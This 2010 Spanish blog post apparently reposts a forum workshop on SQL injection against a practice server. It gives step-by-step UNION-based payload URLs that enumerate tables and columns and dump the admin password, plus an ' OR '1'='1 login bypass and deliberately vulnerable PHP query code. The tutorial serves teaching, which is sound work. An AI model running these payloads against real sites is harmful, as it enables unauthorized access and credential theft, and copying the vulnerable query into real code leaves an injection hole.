viernes, 22 de enero de 2010

Taller Inyecciones SQL



Eres libre de distribuír ésta información siempre y cuando mantengas ésta cabecera.

Autor: Hacker_Zero
Fuente: http://foro.eduhack.es

Éste documento ha sido realizado con fines exclusivamente didácticos. Todos los ejemplos aquí posteados se realizaron en un servidor previamente preparado por el autor. Ni la web ni el autor se responsabilizan de otros usos que otros usuarios le puedan dar.


Empezamos

¿Que es una inyección SQL?

Pues muy fácil, una inyección SQL nos permite modificar el comportamiento de las consultas a la base de datos permitiendonos acceder a datos no públicos o modificar la base de datos a nuestro antojo.

Muchas veces se habla de que ésta és una técnica complicada, que es necesario aprender SQL. Ésto es falso, podemos inyectar código de una forma totalmente mecánica sin entender el porqué del fallo, lo que lo hace en una técnica peligrosa, aunque también hay técnicas de inyección SQL avanzadas.

Un poco de teoría

Aunque podríamos limitarnos aprender un proceso y utilizarlo mecanicamente sin entender nada, limitarnos a éso sería echar a perder una buena técnica, así que analizaremos el porque de los ataques de inyección SQL. Para ésta misión utilizaremos una base de datos de pruebas donde podremos practicar a nuestras anchas:




1- Averiguando si es vulnerable

Empezaremos por el Ejercicio nº 1. En éste caso, la variable id está mal depurada, aquí el código vulnerable:

$user = $_GET['id'];
(...)
$sql = mysql_query("SELECT * FROM `users` WHERE id=".$user) OR die (mysql_error());

¿Como lo sabemos si no podemos ver el codigo fuente? Pues usaremos valores verdaderos y falso para ver como responde. Si ejecutamos:

http://www.bullcariez.es/index1.php?id=1+and+1=1

La consulta se realizara como:

SELECT * FROM `users` WHERE id=1 AND 1=1

Y si ejecutamos:

http://www.bullcariez.es/index1.php?id=1+and+1=0

La consulta será:

SELECT * FROM `users` WHERE id=1 AND 1=0

Como 1 no es igual a 0, en éste último caso la consulta no se realizará, por lo que no aparecen los datos de la base de datos en los campos de la web. Vale sabemos que es vulnerable, y ahora qué?

Tenemos que tener claro nuestro propósito, obtener información de la base de datos, en éste caso el nombre de usuario y contraseña del administrador. Como la podemos obtener? Pues lo que haremos será realizar una consulta en la variable vulnerable para que nos muestre los datos que queremos.


2- Averiguar el número de Columnas

Lo primero que tenemos que hacer es averiguar el número de columnas que tiene la tabla para poder hacer nosotros consultas, para eso se utiliza order by:

http://www.bullcariez.es/index1.php?id=1+order+by+1

Como la tabla tiene más de 1 campo, se mostrará correctamente, seguimos:

http://www.bullcariez.es/index1.php?id=1+order+by+2

Y así hasta llegar a 7, que se producirá un error:

http://www.bullcariez.es/index1.php?id=1+order+by+7

Pues ya lo tenemos, tiene 6 campos, que fué él valor más alto que se mostró correctamente.


3- Haciendo nuestra consulta

Ahora que ya tenemos el número de columnas, 6, podemos hacer nuestra consulta:

http://www.bullcariez.es/index1.php?id=-1+union+select+1,2,3,4,5,6

Union: Se usa para combinar los resultados de varias sentencias SELECT.

Select: Nos permite consultar los datos almacenados en una tabla de la base de datos.

Luego ponemos las 6 columnas numerados del 1 al 6, lo que nos permitirá ver que campos se imprimen, los cuales nos permitirán a nosotros imprimir resultados. Vemos que los campos que se imprimen son 1,4,5,6. Que podemos hacer con ellos? Pues imprimir información, un ejemplo:

http://www.bullcariez.es/index1.php?id=-1+union+select+version(),2,3,database(),user(),connection_id()

version(): Devuelve la versión del servidor SQL.
database(): Devuelve el nombre de la base de datos.
user(): Devuelve el nombre de usuario conectado a la base de datos.
connection_id(): Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.

El 2 y el 3 no nos valen para imprimir resultados ya que no se muestran en pantalla.


4- Buscando nuestra tabla

Ahora que ya podemos imprimir lo que queramos en esos campos, buscaremos la tabla que contiene el usuario y contraseña de los usuarios. Para recorrer las tablas de una base de datos se utilizaremos lo siguiente:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1

Al ejecutar eso, nos mostrará el nombre de una tabla, pero no es la que queremos. Para recorrer las tablas en busca de la tabla que nos interesa, aumentaremos progresivamente el limit. Por ejemplo para ver la siguiente tabla:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+2,1

y la siguiente:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+3,1

Así continuamos hasta encontrar una que pueda contener lo que nosotros queremos, el usuario y contraseña del administrador. Traceamos hasta llegar al 17:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1

Users, ésa parece ser la tabla donde se guarda esos datos ( podría haberse llamado también admin, access, o cualquier nombre sospechoso).


5- Buscando nuestras columnas

Ahora que ya tenemos la tabla, sólo nos queda saber que datos imprimir. Nosotros queremos el nombre de usuario y la contraseña, pero tenemos que saber como se llaman esas columnas para poderlas imprimir. Tracear columnas es similar a tracear tablas, se usa lo siguiente:


http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+
where+table_name=char(NombreDeLaTablaEnAscii)+and+column_name+like+char(37,64,37)

En NombreDeLaTablaEnAscii irá el nombre de la tabla en código ascii separado por comas, aquí podemos ver las conversiones, luego subo un programa para hacer ésto de una forma más cómoda.

La inyección quedaría así:


http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,64,37)


Oh, pero no se muestra nada! Tranquilo, ahora tenemos que ir traceando. Vamos aumentando el valor de 64 porgresivamente e iremos viendo diferentes nombres de columnas. Probemos con 65:


http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)


Ah bien ya tenemos una de las columnas que buscabamos la que guarda el pass! Vale pues ahora a por la otra, la del usuario, seguimos traceando:

El 67 no nos muestra nada, el 68 nos muestra id que no nos interesa... 69 lo tenemos!


6- Imprimiendo los datos

Ya tenemos todo! Sabemos que tenemos que leer la columna Pass y la columna nombre de la tabla users, pues vamos a armar la inyección:

http://www.bullcariez.es/index1.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users

Bien ya está! Tenemos el nombre de usuario y contraseña del administrador! Bueno, pues aprovechamos que tenemos todo y sacamos la de otro user:

http://www.bullcariez.es/index1.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users+where+id=2

Ahí mandamos imprimir el nomre y pass de la tabla users donde el id es 2, el id del Admin suele ser 1, como es el primero se puede omitir y lo imprime igual.

Como sería para los demás users? Pues igual, solo cambiando el id.

Pues ésto fue todo por hoy, lo dejamos aquí de momento, aunque pronto actualizaré el post para poner más información de algunos comandos que hoy pasé así muy rápido.

Y aprovechad http://www.bullcariez.es para hacer pruebas, intentad sacar los users y pass vosotros solos, o provado cosas para ir cogiendo soltura.



ACTUALIZACIÓN

Bueno, pues el otro día Krackwar me presentó una función que desconocía ( De ese 99% que desconozco, xD): group_concat()

¿Para que sirve ésta función?

Bueno, algunos habréis tenido problemas o os lió algo lo de buscar tablas y columnas con el método anterior, o simplemente os parecía muy largo el proceso, bueno, y si pudieramos imprimir todas las tablas y columnas con una única sentencia? Ahí entra group_concat(), concadena miembros de un grupo como puede ser el nombre de las tablas y el nombre de las columnas, mejor con un ejemplo no? xD:

Para las tablas:

http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(table_name),
2,3,4,5,6+from+information_schema.tables


Y para las columnas:

http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(column_name),
2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)




Ejercicio nº 2

Bueno pues para continuar el taller explicando otro tipo de inyección, me ayudaré del ejercicio 2 del servidor de pruebas de http://www.bullcariez.es . En éste ejercicio lo más interesante es entender la inyección.

-El código vulnerable

SELECT nombre FROM users WHERE nombre='$login' AND Pass='$pass'

Nos deja pasar si al comprobar en la tabla users el nombre se corresponde con la contraseña. Nuestro objetivo es tener acceso sin saber el pass, podríamos modificar de alguna forma esa sentencia para que nos dejara pasar? Pues si.

-Nuestra inyección

Si en el campo login introducimos ADMIN y en password escribimos por ejemplo: Zero' OR '1'='1 la sentencia quedaría:

SELECT nombre FROM users WHERE nombre='ADMIN' AND Pass='Zero' OR '1'='1'

Nos deja pasar si al comprobar en la tabla users al nombre ADMIN le corresponde la contraseña Zero o si 1 es igual a 1

Como 1 es igual a 1, nos dejará pasar  Sonreir. Hay muchas más posibilidades, lo único que hay que hacer es modificar la sentencia para que de true y nos deje pasar.



Espero les haya servido de algo mi humilde aporte, soy un newbi todavía en ésto así que si alguien con más experiencia quiere contribuír en éste taller ya sea poniendo más técnicas de inyección o programando nuevos niveles para practicar será bienvenido.

Por último decir que ésto es un Taller, podés poner vuestros logros en el servidor, poned las pass que saqueis, cualquier duda que surja, y espero en breve haya nuevos niveles más difíciles (este era sencillito) y todos aprendamos.



0 comentarios:

Publicar un comentario

Suscribirse a Enviar comentarios [Atom]

<< Inicio